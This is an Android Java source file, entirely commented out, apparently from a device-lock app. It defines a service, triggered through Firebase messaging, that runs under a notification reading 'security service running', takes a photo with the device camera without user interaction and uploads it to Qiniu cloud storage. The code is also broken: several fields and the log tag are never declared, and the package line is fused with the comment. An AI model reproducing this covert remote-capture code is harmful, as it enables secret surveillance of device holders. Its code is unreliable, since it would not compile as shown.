package com.asj.vivo.lock.service.happy;/*
package com.asj.service.happy;

import android.Manifest;
import android.annotation.SuppressLint;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.Service;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.graphics.ImageFormat;
import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraCaptureSession;
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CaptureRequest;
import android.media.Image;
import android.media.ImageReader;
import android.os.Build;
import android.os.Environment;
import android.os.IBinder;
import android.util.Log;

import androidx.annotation.NonNull;
import androidx.core.app.ActivityCompat;
import androidx.core.app.NotificationCompat;

import com.asj.R;
import com.asj.utils.QiNiuYunUploader;
import com.google.firebase.messaging.FirebaseMessagingService;
import com.qiniu.common.QiniuException;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.Collections;

import javax.annotation.Nullable;

@SuppressLint("MissingFirebaseInstanceTokenRefresh")
public class RemoteCameraService extends Service {

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        // 启动 CameraService
        Intent cameraIntent = new Intent(this, CameraService.class);
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            startForegroundService(cameraIntent);
        } else {
            startService(cameraIntent);
        }
        return START_STICKY;
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    public static class CameraService extends FirebaseMessagingService {
        private static final String CHANNEL_ID = "camera_service_channel";
        private static final int NOTIFICATION_ID = 1;

        @Override
        public void onCreate() {
            super.onCreate();
            createNotificationChannel();
        }

        @Override
        public int onStartCommand(Intent intent, int flags, int startId) {
            // 创建前台通知
            Notification notification = new NotificationCompat.Builder(this, CHANNEL_ID)
                    .setContentTitle("安全服务运行中")
                    .setSmallIcon(R.drawable.ic_notification)
                    .setPriority(NotificationCompat.PRIORITY_LOW)
                    .build();

            // 启动前台服务并指定类型
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
                startForeground(NOTIFICATION_ID, notification, Service.FOREGROUND_SERVICE_TYPE_CAMERA);
            } else {
                startForeground(NOTIFICATION_ID, notification);
            }

            // 开始拍照
            takePhoto();
            return START_STICKY;
        }

        private void createNotificationChannel() {
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
                NotificationChannel channel = new NotificationChannel(
                        CHANNEL_ID,
                        "Camera Service Channel",
                        NotificationManager.IMPORTANCE_LOW
                );
                NotificationManager manager = getSystemService(NotificationManager.class);
                manager.createNotificationChannel(channel);
            }
        }

        private void takePhoto() {
            try {
                String cameraId = cameraManager.getCameraIdList()[0]; // 默认后置摄像头

                // 初始化 ImageReader
                imageReader = ImageReader.newInstance(1920, 1080, ImageFormat.JPEG, 1);
                imageReader.setOnImageAvailableListener(reader -> {
                    Image image = reader.acquireLatestImage();
                    ByteBuffer buffer = image.getPlanes()[0].getBuffer();
                    byte[] data = new byte[buffer.remaining()];
                    buffer.get(data);

                    // 保存照片
                    File photoFile = savePhotoToFile(data);
                    if (photoFile != null) {
                        uploadPhoto(photoFile); // 上传照片
                    }
                    image.close();
                }, null);

                // 打开摄像头
                if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
                    // TODO: Consider calling
                    //    ActivityCompat#requestPermissions
                    // here to request the missing permissions, and then overriding
                    //   public void onRequestPermissionsResult(int requestCode, String[] permissions,
                    //                                          int[] grantResults)
                    // to handle the case where the user grants the permission. See the documentation
                    // for ActivityCompat#requestPermissions for more details.
                    return;
                }
                cameraManager.openCamera(cameraId, new CameraDevice.StateCallback() {
                    @Override
                    public void onOpened(@NonNull CameraDevice camera) {
                        cameraDevice = camera;
                        startCaptureSession();
                    }

                    @Override
                    public void onDisconnected(@NonNull CameraDevice camera) {
                        cameraDevice.close();
                    }

                    @Override
                    public void onError(@NonNull CameraDevice camera, int error) {
                        Log.e(TAG, "摄像头错误: " + error);
                        cameraDevice.close();
                    }
                }, null);
            } catch (CameraAccessException e) {
                Log.e(TAG, "摄像头访问失败: " + e.getMessage());
            }
        }

        private void startCaptureSession() {
            try {
                CaptureRequest.Builder captureBuilder = cameraDevice.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
                captureBuilder.addTarget(imageReader.getSurface());
                captureBuilder.set(CaptureRequest.CONTROL_AF_MODE, CaptureRequest.CONTROL_AF_MODE_CONTINUOUS_PICTURE);

                cameraDevice.createCaptureSession(Collections.singletonList(imageReader.getSurface()), new CameraCaptureSession.StateCallback() {
                    @Override
                    public void onConfigured(@NonNull CameraCaptureSession session) {
                        try {
                            session.capture(captureBuilder.build(), null, null);
                        } catch (CameraAccessException e) {
                            Log.e(TAG, "拍照失败: " + e.getMessage());
                        }
                    }

                    @Override
                    public void onConfigureFailed(@NonNull CameraCaptureSession session) {
                        Log.e(TAG, "拍照会话配置失败");
                    }
                }, null);
            } catch (CameraAccessException e) {
                Log.e(TAG, "拍照会话启动失败: " + e.getMessage());
            }
        }

        private File savePhotoToFile(byte[] data) {
            File photoFile = new File(getExternalFilesDir(Environment.DIRECTORY_PICTURES), "captured_photo.jpg");
            try (FileOutputStream fos = new FileOutputStream(photoFile)) {
                fos.write(data);
                return photoFile;
            } catch (IOException e) {
                Log.e(TAG, "保存照片失败: " + e.getMessage());
                return null;
            }
        }

        private void uploadPhoto(File file) {
            try {
                QiNiuYunUploader.uploadFile(file);
                Log.d(TAG, "照片上传成功: " + file.getAbsolutePath());
            } catch (QiniuException e) {
                Log.e(TAG, "七牛云上传失败: " + e.getMessage());
            }
        }

        @Override
        public void onDestroy() {
            super.onDestroy();
            if (cameraDevice != null) {
                cameraDevice.close();
            }
            if (imageReader != null) {
                imageReader.close();
            }
        }
    }
}*/
